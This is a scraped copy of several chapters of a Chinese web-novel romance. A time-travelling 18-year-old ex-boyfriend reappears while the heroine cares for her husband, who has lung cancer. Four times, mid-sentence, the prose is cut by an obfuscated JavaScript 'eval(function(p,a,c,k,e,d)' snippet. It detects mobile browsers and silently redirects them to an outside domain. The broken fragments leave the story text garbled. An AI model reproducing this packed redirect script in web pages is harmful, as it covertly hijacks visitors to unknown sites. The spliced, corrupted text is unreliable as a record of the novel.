高三的林念禾在他的每天投喂下,身上已经有了点肉。方才把她从地上抱起来,霍锌压根没感受到多少重量。 “那段时间发生很多事,我们分手前总是吵架。”她垂眼,黑而密的睫毛遮住一片阴影,含着巧克力的声音有些模糊,“不合适就分开了,没有谁对不起谁。” 但昨晚在楼梯间压着她的霍锌,好像不是这么想的,他看上去似乎想对她做些什么不好的事情。 林念禾想不通成年版的他为什么昨晚突然发疯,连带着有些迁怒面前18岁的霍锌。“你想好接下来去哪儿吗?” 向这个时空里的霍锌寻求帮助,或者去找他信得过的发小朋友,再不成还能去霍家,总归不是赖在她这里。 先不说她如今自身难保,又要上班,又要去医院照顾江予州,接下来的日子里会很忙很忙。而且他们分手那么久了,无论从哪个角度分析,都非常不合适收留年轻版的前男友。 要是被邻居看见一个年轻男人经常出入她家,小区第二天就会传遍某个已婚女住户的男小三登堂入室挤走大房。 少年沉默,修长白皙的手指拆开水果糖的包装,无言地把糖塞进她的嘴里。 穿越之前,他早上起床洗完澡,正准备去学校和自己的小女朋友见面。结果一手拎着书包,刚跨出家门,眼前景色突变,他再反应过来后,人已经到了未来。 传送过来的地址离林念禾住的小区并不远,他漫无目的地走了一段路,脑子里弄清些许现状,就看见成年版的林念禾往小区里走。 尽管九年后的林念禾和高中的她,看上去气质截然不同,但他依然一眼认出是她。 穿越这种事情,说出来别人根本不会相信。他不敢贸然上前去跟她说话,所以小心翼翼地跟在后面。 按照他之前的预估,九年后,自己已经顺利和林念禾结婚,幸福地生活在一起,说不准还会有一个可爱的女儿。虽然少年霍锌并没有27岁要孩子的计划,但万一27岁的霍锌有呢。 他知道自己占有欲强,肯定不会对18岁的自己有什么好脸色。 八成不会让他进家门,顶多扔一笔钱把人打发去酒店,让年轻的霍锌在酒店自生自灭,等待时空隧道穿越回去。 于是霍锌故意在门口装可怜,利用林念禾的心软放他进家门。 结果……他妈的,男主人不是他,这不是他和林念禾的家。现在站在客厅的自己,是个彻头彻尾的外人。 屋子里的每一个物品,都和未来的他没有任何关系。 这是他女朋友和其他男人的婚房。 虽然和九年后的霍锌没有碰面,但在他心里,这人已经被画上了一个大大的叉。 什么废物,连女朋友都能弄丢。 就算去流浪街头,霍锌也不会去找他帮忙。因为怕自己忍不住弄死对方。 “我等会儿还有事情。”林念禾揉着发疼的太阳穴,从他身上起来,“如果你想去找现在的霍锌,可以去木幸总部的楼下等他。” 少年乌黑的眼眸静静注视着她,沉默不语。 半个小时前在门外,他是装可怜,此时是真像只被主人抛弃的幼犬。林念禾鬼使神差地联想到乐乐,有些于心不忍,“我可以顺路送你去。” “谢谢。”霍锌顿了顿,低声说,“抱歉,给你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880099|159772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 添麻烦了。” 林念禾没补觉,简单收拾了些生活用品放在车的后备箱里,就出发去医院。 她在中控台的屏幕前轻点几下,调出导航。少年坐在副驾驶,一双长腿看上去十分委屈地缩在座位下。 这辆很适合女生的白色mini,平时都是她开,江予州开另外一辆。 她扫了眼霍锌,提醒:“安全带。” 少年伸手去拽安全带,这辆车的副驾驶安全带很不好扣上,他折腾半天,还是没弄好,有些无措。 记忆里的少年哪吃过这苦,林念禾在心里默默地叹了口气,凑身过去帮他。 “吧嗒”一声,顺利扣上安全带。 她抬头,猝不及防撞上霍锌的目光。他的眼神很幽暗,带着些她看不明白的意味。两个人的距离很近,近到只要其中一人稍微往前,就能轻易触碰到对方的鼻尖。 记忆深处的松木香包裹住林念禾,恍惚间,脑海里闪过几个高中时期的零星片段。 青春期的男生运动完出汗,一身味道。 秦於每回打完球身上就会散发出阵阵狗味,他知道她嫌弃,还会故意犯贱凑上来恶心她。 所以前期班主任安排她和霍锌坐一块,她很抗拒。 男同桌,夏天不得熏死她。 没成想,校霸同学不仅爱干净,身上的味道比她一个女生还好闻。后来谈久了,林念禾就爱往他怀里钻,像吸猫一样猛吸自己的男朋友。 上了几年班的老油条见鬼地有些耳热。 她假装无事地回到自己的位置,告诫自己对面是个十八岁的孩子,她现在比他大九岁算长辈…… 车驶离车库,副驾的霍锌不动声色地轻轻摸了摸被女生黑发拂过的手背。 开了有五分钟,等红绿灯的时候,林念禾搭在方向盘上的手指轻点,无聊地看向前方。 导航目的地是市医院,途中正好经过木幸。霍锌的目光在导航屏幕上短暂地停留片刻,问:"你去医院?" 她手一顿,“对。” “家里有人生病?”霍锌单手支在车窗,望向她的侧脸,看上去没什么恶意,“你老公出差了?我今天怎么没看见你老公?” 纵使时光变化,人还是那个人。18岁的霍锌,27岁的霍锌,不约而同地打听江予州,还一口一个你老公。 一个男的,怎么就让他们这么好奇,好奇到想要打破砂锅问到底。 “他最近甲流发烧住院。”林念禾胡乱编借口,"今天出院。" 霍锌听见回答,没再继续追问。只是临下车关上车门时,轻飘飘地说了句身体素质一般。 林念禾:…… 别人甲流发烧住院,就身体素质不好了? 他一个破处后第二天发烧的弱鸡,哪来的脸说这话。 被尾气扬了一脸的霍锌,目送那辆好像带着怒气的mini远去。他摸摸耳垂,轻嗤一声。 霍大少爷三岁之后,就没怎么发过烧,感冒睡一觉起来就能好。 在他眼里,因为甲流发烧住院,身体素质真差。 霍锌眼皮下耷,身上散发出些不悦。他以前怎么没看出来林念禾是恋爱脑。等回去之后,他要好好帮她整改恋爱脑的毛病。 要知道,世界上除了他,剩下的男人都不是好东西。 余光瞄见木幸的公司logo,想到和林念禾提分手的人是未来的自己,霍锌又觉得刚才那话不对。 他也不是什么好东西。 难受一秒后,接着果断将自己和现在的霍锌切割开。他是好男人,这个时空里的霍锌不是好男人:) 少年伸手拦了辆出租,上车后跟司机说了个地址,开始闭目养神。 既然不想找未来的自己帮忙,林念禾又不愿意收留他,那他得换条路。 8. 第 8 章 医院, 林念禾进病房的时候,江予州已经醒了。 她对守了一上午的护工说,“先去吃饭吧,这里有我。” 病房里有些吵杂,隔壁床的病人是个七十岁的老人,因为医药费问题,子女正在当着老人面争吵谁该多出钱。 江予州握住她的手,轻声道:“对不起。” 他很抱歉成为了她的负担。结婚时,他本以为自己会变成她的依靠,结果这两年两个人同时一门心思扑在工作上,压根儿没放慢过生活的脚步。 想起林母临终前曾交代过他要好好照顾林念禾,江予州的情绪更加糟糕。他不害怕死亡,他害怕给林念禾带来麻烦。 陪着亲人抵抗病魔的滋味,只要经历过一次就不会想经历第二次。 林念禾握着小刀,缓慢而仔细地一点一点削掉苹果皮。细长的果皮绕成圈,悬在空中。 他不是傻子,一味地对他掩瞒病情,并不实际。而且后续的治疗也需要他调整好心态,努力配合。 “为什么要道歉?” “因为会拖累你。”纯白的床单衬得他脸色更加虚弱,“我知道我的病很严重。” 严重到他能清晰感觉到生命随着时间而流逝。到时候,他死了,就不能给林念禾擦眼泪了。 “生不生病又不是你能控制的,你这样盲目地对我道歉,觉得自己是个累赘,只会让我怀疑我们的感情。” 林念禾把苹果切成小块放在盘子里,递给他。 “如果生病的人是我,你会跟我离婚吗?” 面前的人穿着一条蓝色长裙,黑发散在身后。林念禾的长相其实是清冷挂的,不说话看起来秀气高傲,偏偏又有一双圆润的眼睛,看人显得极其真诚。 说这话的时候,直直望着他,江予州只觉得心底泛起一丝涟漪,像被一颗小石子砸中的湖面,漾出圈圈波纹。 “不会。”江予州喂了块苹果给她,顺手揉揉她的发顶。 林念禾的头发一直是她除了脸之外,最爱护的身体部位。每次洗完澡都要一层又一层地往上抹护发的东西,手感和绸缎一样顺滑。 他很克制地收回手,眼眸深处中有着她看不懂的情绪。 生病的人要是林念禾,他估计会愿意用自己的生命去换她的健康。 最难的坦白病情,就这么轻轻松松地翻页了。 从睁眼开始,江予州的表现一直很平静,平静得让她觉得他好像在等待这天的到来。 两个人沉默了好一会儿,幸亏隔壁床的家属还在吵架,环境算得上吵闹,让他们少了很多尴尬。林念禾低头看见手机新进来条短信,是江黎问她晚上要不要去酒吧喝酒,还特意嘱咐她不要告诉江予州。 粉色的情侣头像极其显眼,江予州瞥了一眼,知道是江黎。 “先别告诉江黎我住院的事,她要是知道了,会天天赖在这里吵得我头疼。” 他佯装嫌弃,实际上是怕江黎知道后告诉江伯父和江伯母。 老人岁数大了,受不起刺激。弟弟和弟妹因公去世时,江伯父一夜白头,身体也大不如前。 门外有人敲门,林念禾想安慰的话到了嘴边,寻声看见来人,“我先出去一趟。” 秦於头发乱糟糟地站在门口,神情看起来很严肃,耐心等她关上病房门,才拉着林念禾往走廊尽头去。 两个人面对面,表情都不太好。秦於烦躁地抓抓头发,不知道如何开口,半晌问:“你发消息问的病人是江予州?” 林念禾点点头。 “我找找我导师,他一直在研究SCLC。你别太担心,现在治疗小细胞肺癌的靶向药也挺多的,命好挺过来的人不在少数。” 虽然他和江予州不怎么熟,但也发自内心希望对方能够痊愈。 SCLC恶性程度高,细胞增值迅速,还容易转移到脑、肝、骨。化疗后复发率高。按照江予州如今的病情来看,生存期只有不到一年。 秦於头疼,前几天还批评他妈封建迷信,现在自己真有点想让他妈哪天上山找个大师替林念禾算算命。 前男友车祸去世,现任又患上绝症。怎么净找些命脆的男人。 刚想唠叨几句,转而看见她因为休息不足露出些疲惫的脸,秦於叹气道:“你下午先回家睡会儿吧,我今天没排班,正好能替你照顾他。别到时候你先倒下去,江予州还活蹦乱跳的。” 傅阎进门的时候,屋内一片漆黑。他下意识摸开关,灯打开的瞬间,被坐在沙发上的人吓了一大跳。 他见怪不怪,像进了自家似的,边去拉窗帘边吐槽,“昨天打电话约你喝酒,你没接电话。上午去公司找你,你也不在。我还以为你死家里了。” 客厅忽地有了阳光,冰冷的独居公寓终于多出一点点人气。这套平层的装修风格极其简单,除了黑白就是灰色。每回他来,都觉得这破地方一点都不温馨,处处都透出压抑,待个几分钟就想跑。 “你好歹说句话啊,霍哥。”傅阎坐到他的身边,“我千里迢迢地来你家,关心你,你就一句话不说?” 霍锌回国后,和从前大不相同。他老觉得这人越来越像个阴湿男鬼。 以前的霍锌多阳光啊。虽然没他话多,但是也能有来有回地跟他扯上两句不着边的话。现在不仅容忍度低,还一句废话都不乐意说。上学时霍锌笑着骂他滚的日子,一去不复返。 他还怪怀念的。 “霍家那破公司都倒闭了,你二叔也等着吃官司了,你还不高兴呢?”他说着说着,手机突然跳出一条消息。 短暂的安静之后,霍锌听见傅阎骂了句脏话。 他动了动眼皮,淡漠问:“有事?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880100|159772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“前女友结婚给我发请帖,她脑子有病吧!” 傅阎这人看着不靠谱,但对待感情并不随意。他到目前为止,就谈过三次。上一次,还是在两年前。对方断崖式分手,让傅阎根本无法接受,所以一直求复合。 结果对方骑驴找马,把他当备胎。 “你不是很喜欢她吗?" 傅阎冷笑,“她不喜欢我啊,还把我当傻子玩。我难不成因为喜欢她,就上赶着当小三。” 他瞥了眼旁边的男人,反问:“换成你,你乐意给你前女友当三?” 话音刚落,霍锌像是陷入思考。 傅阎看他的表现,大为震惊,“卧槽,你还真思考起来了?” 他高中大学都在国外念的,对霍锌的前女友了解甚少,只知道两人是在高中谈上的,后来霍家出事就分了手。 “你前女友是魅魔啊,居然让你突破道德底线,开始思考能不能为爱做三。”他连声音都在震惊,“别告诉我,你前女友也结婚了。” “嗯。”霍锌惜字如金般地发出一个音节。 傅阎:! 他应该是还没睡醒,不然怎么会听见这种鬼消息。 俗话说的好,发小眼里出帅哥。在他的眼里,自家兄弟各方面都很完美,要长相有长相,要身材有身材,要钱有钱,但爱情这种玄之又玄的东西并不取决于以上三种条件。 路上长得跟史迪仔一样的男人,都能被漂亮女朋友挽着,还爱得死去活来。所以他兄弟光靠脸在爱情中输给另外一个男人,也不是不可能…… 傅阎斟酌用词,小心翼翼问道:“她和他老公感情怎么样?” “还不错。”霍锌又想到昨天楼道里,女孩流下的泪和扇在他脸上的巴掌。 不止是还不错,应该是爱惨了。 林念禾那舍不得他说一句不好的样子,简直能称得上一句爱惨了对方。 听见回答,傅阎倒吸一口凉气。人就不该过于好心善良,他要是不那么好心,今天就不会跨进霍锌家一步,就不会听见霍锌违背公序良俗的秘密。 “那不好挖墙角。俗话说的好,好饭不吃第二遍。” 好男人也不谈第二遍。 发现傅阎开始热心肠地替他谋划如何勾引前女友,霍锌冷着脸让对方滚蛋。 他早习惯了霍锌的冷脸,临走前一边警告他做三小心被正房打,一边顺走了酒柜里的几瓶好酒。 客厅又重新恢复安静。 霍锌想起昨天林念禾落在他车上的包,没拿回去,于是给司机发消息让他送过去。 道德底线这玩意儿,对于现在的他而言,剩的并不多。商场上对待那群妖魔鬼怪,他玩阴的比谁都阴。 傅阎脑子被驴踢了居然以为他要为爱当小三,插手别人的感情生活。他做不出来这种没有道德底线的事。 9. 第 9 章 包被送到指定病房。 江予州正在处理学校的事情。他昨天突然住院,还有不少工作等着他交接。手底下那几个研究生,还需要帮他们另找导师。 学校虽然会安排相应的导师接手,但他觉得对不起自己的学生,想着能多做些是一些。 司机敲敲门,将包交给江予州。“这是昨天林小姐落在我们霍总车上的包。” 忽然被人打扰,他推了推眼镜,在看清楚司机手里的东西后,笑了笑,“替我多谢霍总。” 完成老板交代的事,司机也不多言直接离开病房。 电脑时不时跳出几条有关工作的消息,江予州并不着急回,而是若有所思地摩挲着那个包。 他记得这是林念禾很喜欢的一款包,买回来后放在家里放了好久。 像对待一件易碎品一样,小心翼翼,怕刮坏了,不敢背出门。 现在,却随手被落在车上。 江予州想起来司机嘴里提到的霍总。 很陌生的名字,他从来没听林念禾提起过,就像那段藏在心里七年的感情。 两年婚姻里,哪怕林念禾佩戴着婚戒,依然有不要脸的异性持续不断地贴上来追求她。 公司的实习生,曾经同学校的校友,他们觊觎林念禾,像臭虫一样无视她的拒绝扑上来,让人厌烦。 内心阴郁的想法接连不断地涌上,江予州往后靠在床头,摘下眼镜,疲惫地揉了揉鼻梁。 脆弱和虚弱会放大人的阴暗面。 没关系,他不会让她看见自己不堪的一面。哪怕是在生命的最后岁月,他也会在林念禾面前留下最完美的形象。 霍锌在听见司机的回话后,后知后觉地发现自己的行为可能在对方眼里算是某种挑衅。 一个陌生男人将对方妻子落在车上的包,送到他的手上。 刚刚否定自己想给林念禾当三的霍锌,陷入沉默。 这算无心插柳,柳成秧? 林念禾到家后,才睡了两个小时,就被公司的电话吵醒。 她费力地去够手机,躺在被窝里,睡眼朦胧。 “你今天怎么没来上班?” 对方的语气过于理直气壮,以至于她都有点怀疑自己是不是没请假。林念禾微微拿远手机,瞄了眼来电人的名字。 哦,徐寒那个孙子。 “我家里有事所以今天请假,请问徐总找我是有什么急事吗?” 她特意强调了一下那个急字。 电话那头的人一顿,嚣张的火焰降下去一丢丢,“和谁请的假,我怎么不知道。” 林念禾:…… “因为您昨晚喝了很多酒,我以为您今天不会去上班,所以就没告诉您。”她吸了口气,“是我的错。” 徐寒嚣张的火焰彻底灭掉。 相处一年,别当他还是之前那个傻白甜,听不出她话里的阴阳怪气。 什么叫不会去上班。她以为他昨天醉得跟条狗似的,今天就不会去上班是吗? 在她心里,他居然是这么个不务正业的形象。 “明天出差去B市,你收拾一下,跟我过去。” 林念禾沉默一瞬,“徐总,我请假请了一个星期。” “你把公司当家是吗?”徐寒忽地发难,“想来就来,想走就走。照你这样,全公司人都请假一个礼拜,公司倒闭算了。” 要不是巴掌不能隔空顺着网线落在人的脸上,在他说出话的那刻,他就该哭着喊妈妈了。 “徐总,我休的是年假。” 刁难她之前,能不能稍微长点脑子。 平日里忙着泡吧睡妹,也不见得多有事业心。乍听见她请了一礼拜假,就开始突然变得勤奋起来。 神经病吧…… 和何建一样神经。 心里骂归骂,林念禾还是很有礼貌地等对方先挂电话。 但徐寒好像不准备挂电话,接着问:“不能少休点假,提前回来吗?” “不太能。” 话尾一落,电话迅速挂断。 林念禾品了下刚刚徐寒的语气,估摸是在听见回答后生气了。 哇塞,更觉得他神经了。 一番莫名其妙的电话结束后,林念禾彻底失去睡意。于是出门去平时江予州喜欢吃的那家私人菜馆,打包了一些饭菜带去医院。 等江予州吃完,她准备收拾残局时,才发现床头柜上放着一个眼熟的包。 林念禾的表情不自然一瞬,像是有条冰冷的蛇缓慢爬上脊椎,在耳后亮出獠牙,准备狠狠地刺破她的动脉。 昨天过后,她默认这个包不会被还回来了。然而现在,不小心被落在霍锌车上的包,完好无损地出现在病房里。 这不得不让林念禾多想。 霍锌会不会和自己的丈夫多说了些什么? 上午,江予州就心情不太好,认为生病会拖累她。 如果在这种时候,霍锌再火上浇油,当面刺激江予州,很有可能会令他产生消极的念头。 而且有研究发现,被诊断出患有癌症的患者自杀风险比普通人群高出26%。 她眉头微不可察地皱了一下,假装讶疑,"我包怎么在这?" "昨天找了好久,还以为丢了。" 江予州目光也望向那个包,态度没什么变化:"下午,有位霍总让司机把它送过来的。" 他歪了歪头,眼神温柔,"看起来,这位霍总人很热心。" "是挺热心,昨天饭局散场打不到车,是他顺路把我送到医院的。"林念禾恍然大悟,"怪不得我找不到包,原来是丢在他车上了。" 很自然的表演,江予州却还是抓住了破绽。温柔的眼眸下是风雨欲来的前兆,他忽地用力将林念禾扯进怀里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880101|159772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 隔壁床的患者,十分钟前被推出去做检查,病房里只剩下他们两个人。 猝不及防栽倒进江予州的怀里,林念禾脑子有点懵,她怕压到他手上的留置针,下意识想爬起来。 结果挣脱不开,江予州一只手摁在她的背后,牢牢地将她困在怀里。 林念禾的鼻尖压在他的锁骨处,脑子转动一下,以为他装了一天终于情绪爆发,所以才抱住她。 这才对嘛,而不是像上午那样,平静得好像第二天就能痊愈出院了。 林念禾的心略微一沉,忽然发现上午的他像头生病的母狼,拼命把自己的狼崽往外驱赶,然后找个角落独自等候死亡。 她有些心疼,像给猫顺毛似地伸手轻抚江予州的后背,从上往下,一下又一下。 "没事的,别害怕,我会陪在你身边。秦於也说你的病治愈率挺高,听说国外最近还出了新的靶向药。" 温柔的女声持续不断地安慰,他沉默地抱着她。 即使没有镜子,江予州也知道此时他的样子肯定难看至极。 对她的占有欲快要淹没掉自己,像一块沼泽无声地吞噬所有的理智。 他当然相信自己的妻子没有出轨,他只是在厌恶这些不要脸的雄性。 利用她的善良,来达成自己内心恶心的欲望。是想看见他愤怒,还是试图挑拨他们的感情? 江予州埋在她的发间,甜腻的香味让他稍微找回点理智,闷声道:"你眼睛很红,这两天是不是因为我没有休息好?" "不是。" "撒谎。" 林念禾乖乖趴在他的身上,等他平复情绪。等了一会儿,发现他还不肯撒手,仿佛要抱到天黑。 正犹豫要不要开口让他放手,江予州先一步放开她。 林念禾仔细观察,确认过他脸上没有泪痕,在心里偷偷松口气。 七天的假期很快过去,乐乐也被她从朋友家接回来。 上班第一天,徐寒就把她叫到办公室明里暗里嘲讽了一顿。刻薄的用词,逼得她差点真辞职走人。 林念禾忍了又忍,直到临下班才调节好自己的情绪。 她收好桌面的东西,拎包走人,然后去医院陪江予州到九点,回家遛狗。 刚到医院车库,贺渺就打电话过来。那头声音嘈杂,明显是在酒吧喝多了。 三两句话,也没说清什么东西,啪地挂断。 林念禾:…… 她有些心累,又怕朋友在酒吧真出事,认命地开车去酒吧接人。 贺渺和她是高中同学,之前乐乐就是寄养在她家。林念禾身边关系好的朋友不多,贺渺算一个。 她常去的酒吧就那一家,林念禾没费什么力气就在卡座里找到了人。 嘈杂绚烂的环境里,她扶着人往外走,视野里忽地闯入一个本该不会出现在这的人。 10. 第 10 章 五光十色的灯光,舞池里一群穿着清凉的年轻人在蹦迪。 前方的卡座里,少年穿着一件很简单的白T,靠在皮质的靠背,姿态懒散。一手搭在大腿上,另一只手拎着酒瓶。黑长的睫毛下垂,晦暗的光照下,整张脸更加惊艳惑人。 他身边的女人看上去有话跟他说,拍了拍他的肩膀。 霍锌微微侧脸,低头,表情没什么变动。黑色的金属耳钉折射出光,他说了句话,林念禾看不清他的口型。 接着,女人笑了下,招来酒保。片刻后,全场举牌,一排排酒水被送到他们的面前。 林念禾去过几次酒吧,知道这是最高规格,女人估计点了堆很贵的酒。 趴在她肩头的贺渺听见动静,睁开眼,凑到她耳边:“那一瓶酒八万,这富姐富得流油啊。” “要是来个富姐包养我就好了,我天天就不用受傻逼老板的气。”贺渺说着说着,又开始意识不清,嘴里骂骂咧咧的。 她不是个爱管闲事的人,这会儿理应带着贺渺直接出门回家。毕竟回家还要遛狗,明天要早起上班,再耽误下去,今天晚上别想睡了。可林念禾脚底像是生根似的,牢牢困在原地。 那天把霍锌送到木幸楼下,她以为两人不会再有见面的机会。成年霍锌看到以前的自己,即使没法儿解决时空错乱的问题,也能给他提供良好的物质条件。 眼前的场景,林念禾觉得奇怪。尤其是他身边坐着的女人,眼神像是锁定猎物,极有耐心地陪对方玩耍。 像……时刻准备把他吃了。 正当她犹豫要不要多管闲事,少年霍锌眼眸扫到她,跟身边的富婆打了声招呼,起身走过来。 林念禾心情有些复杂。 这样的人,在酒吧里,哪怕穿着简单,通身气质长相也是最优越的。就朝她走过来的几步时间,周围的男男女女不约而同将目光放在他身上。 女的觉得他好看也就算了,怎么还有男的凑上来想要他的联系方式! 霍锌神情冰冷地拒绝掉某个上来要联系方式的男人,走到林念禾的跟前。 漆黑的眼眸和她对视,林念禾不自觉地咽了咽口水。 谁18岁的时候,没好奇过酒吧。她刚高考完,就被贺渺带着去酒吧蹦迪。贺渺当时是玩爽了,她全程被霍锌看着,体验感极差。 其实林念禾不喜欢酒吧的氛围。绚烂的灯光,声音能从地板传到心脏的音响,DJ一个劲儿地煽动气氛。虽然她不喜欢这种浮在表面的热闹,但林念禾还是跟霍锌生气吵架。 至于看她跟看犯人一样吗。 霍锌跟她赔礼道歉,哄她哄了很久。最后想了个办法,去附近的酒店开房,然后让酒吧的酒保送了一堆酒上来。 他的逻辑是,反正林念禾去酒吧只能喝酒,又不能泡帅哥,那搁酒店喝和在酒吧是一样的。林念禾无语不想喝,受不了他软磨硬泡,最后两人闹成一团。 甜涩的酒精味道,在少年少女的唇齿间弥漫开,房间的温度跟着上升,玻璃瓶碰倒在地也无人在意。 霍锌站在她的眼前,黑色的耳钉衬得他清冷。林念禾的记忆里,18岁的霍锌应该是没有耳钉的。 他只打了一侧的耳垂,另一侧打在耳骨。仔细看,两处地方还有点泛红。 "接朋友?"少年望了眼挂在她身上的人,看起来有点眼熟。 "贺渺喝多了,我来接她。" 话尾刚落,贺渺恍若病中垂死惊坐起,指着对面的人难以置信,"卧槽,卧槽!" "林念禾,你前男友从地府爬上来找你了?!" 林念禾:…… 她想去捂她的嘴,但喝多了的贺渺跟条泥鳅一样,根本抓不住。 "这都三年了,他还没投胎啊。"贺渺埋在她颈窝,含糊道:"要不你跟他商量商量。如果实在放心不下你,就投胎做你和江予州的孩子吧。这样你们还能做一家人。" "……" 天杀的,什么想法啊。 伴随着贺渺的话,林念禾清晰感觉到对面人的情绪越来越差,脸色沉得滴水。 "她喝多了,胡说的。贺渺前两天失恋了,心情不好,最近说话都不怎么带脑子。" 高中的贺渺留齐肩短发,九年后的她一头深蓝长发,穿着掐腰短裙。霍锌一时半会儿没认出来,但那段惊天地泣鬼神的话一出来,他就知道肯定是贺渺。 林念禾身边,只有这一个满嘴跑火车的朋友。 "时间不早了,我还有工作忙就不送你回去了,你自己注意安全。"霍锌说完,就想回去。 "等等!"林念禾下意识喊住他。 对方眉头微挑,"还有事?" "你今天在酒吧做什么?" 她思来想去,总觉得奇怪,"我那天送你去木幸,你没有见到霍锌吗?" 霍锌抬手摸摸后颈,眼眸下垂,"他不相信我是未来的他,以为我是特意整容的商业间谍。" "你们是同一个人,做DNA或者说出一些别人不知道的事情,很轻易就能证明吧?" 霍锌叹气,神色落寞,"他防备心很重,聊了没两句就让我走,根本没机会说出那些事。而且很小时候的事情,我早忘记了,挑挑拣拣能说的那些全是大家都知道的事情。" 林念禾陷入沉默,没想到27岁的霍锌不信他。身上一分钱没有,又是黑户,无可奈何下他只能做些游走法律边缘的工作。 "所以你在酒吧做男模?" "……" 霍锌哽了一下,解释:"不是男模,是陪酒。顾客点酒消费,我从中抽成。" 他还不至于出卖自己的身体来养活自己。这些天在酒吧,他连衣角都没让顾客碰过。如果他不干净了,回去之后还怎么面对18岁的林念禾。 "有区别吗?"林念禾皱眉,"万一他们喝多了对你起歹念,你一个刚成年的男生怎么可能应付过来。" 她说这话,很显然忽略了霍锌一米八三的身高,还有常年健身的好身体。在场放眼看去,没一个能和他单挑的。 霍锌哄她,"我都待在这好几天了,酒吧老板也认识我,昨天还请安保大哥吃过饭,出不了意外的。" "你是瞎吗,看不出来你旁边那女的都要把你给吃了。"林念禾真恨铁不成钢,"还一口一个没事,等被人下药压在床上吃干净的时候,就有事了是吗?" 霍锌见她真生气了,不敢还嘴,老老实实挨骂,眼底却藏了一丝无法察觉的笑意。 "可我没地方去了,酒吧老板还包吃包住……" 她顿时更加火冒三丈。什么破老板,一点良心都没有,居然雇刚满18的小孩儿来当陪酒。 "跟我走。"< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880102|159772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 霍锌握住她的手腕,"等会儿,你把手机借我用一下。" 林念禾不知道他要干什么,于是没动。 "走之前找老板结工资,我没银行卡只能借你的。" 霍锌从她兜里拿走手机,没过多久就回来了。 他帮忙把喝醉的贺渺扶进车后座,然后坐上副驾驶。 林念禾没急着开车,而是解锁手机。有转账信息进来,20万打到她的卡上。 她深吸了口气,无法想象这几天霍锌靠脸干了多少事,才挣到这二十万。 双手紧攥住方向盘,林念禾有点难受,心里像是被小刺扎似的。 "这几天先住我家,酒吧什么的不准再去了,二十万我不会动,算你的生活费。" 霍锌单手撑着脑袋,靠在车窗边,有些困,"为什么不动这钱,我给女朋友花钱天经地义。" 别说二十万了,二十个亿花在林念禾身上,他都不带眨眼的。 等话说完好一会儿,他才反应过来。现在的林念禾不是自己的女朋友,而是别人的妻子。 "我住你家,你老公看见了怎么办,万一误会呢?" "他最近有事出差不回家,被发现了就说你是我远房表弟。" 霍锌轻笑一声,喉结滚动,"听你这口气,像是没少往家带人。" "没带过,就带了你一个。"林念禾一脸他爱信不信,刚要按动车按钮,想起来卡座上的富姐,"你走之前不跟富婆姐姐打声招呼吗?万一她恼羞成怒,花大钱还睡不着人全城通缉你怎么办?" "哦,到时候你帮我挡刀。” 他偏头,望见她面无表情的样子,轻咳了一下,"早打过招呼了,她知道我要走。" 刚看见林念禾的时候,他就和她说了今天有事要走。 "什么时候打的耳钉?" 霍锌啊了一声,没想到她会问这个。"不好看吗?" "……" 很好看,耳钉在他身上,很吸引人注意。 "酒吧的那些男模酒托都打了耳钉,我看着觉得挺好看的,就也跟着打了一个。" 林念禾心又像是被扎了一下,顿时有些说不出话。 她当时考虑的不齐全,再不济也应该下车的时候往他身上塞些钱。她真不敢想,一个黑户身上没钱的人,如果没想到去干陪酒,又该怎么活下去。 其实耳钉纯是他自己想打。他和27岁的霍锌并没有差别,于是打了耳钉想在外形上将两人区分开。 本来只想卖一点点惨,结果发现卖得有些过。 霍锌抿唇,安慰的话欲言又止。 现在无论说什么,估计她都会认为他是在故作坚强。 林念禾没有把贺渺送回家,而是带到了自己家。贺渺是独居,喝多了需要照顾。把她一个人扔家里,她不放心。 把人安顿好在客房后,林念禾又去安排霍锌。 家里一共三个房间加一个书房,她住主卧,贺渺睡客房,还剩一个小房间留给霍锌。 一通折腾下来,接近十一点,林念禾找了些洗漱用品放在小房间。 霍锌站在卧室门边,听她嘱咐一些琐事。比如晚上睡觉记得锁门,防止贺渺喝多了起来上厕所走错。 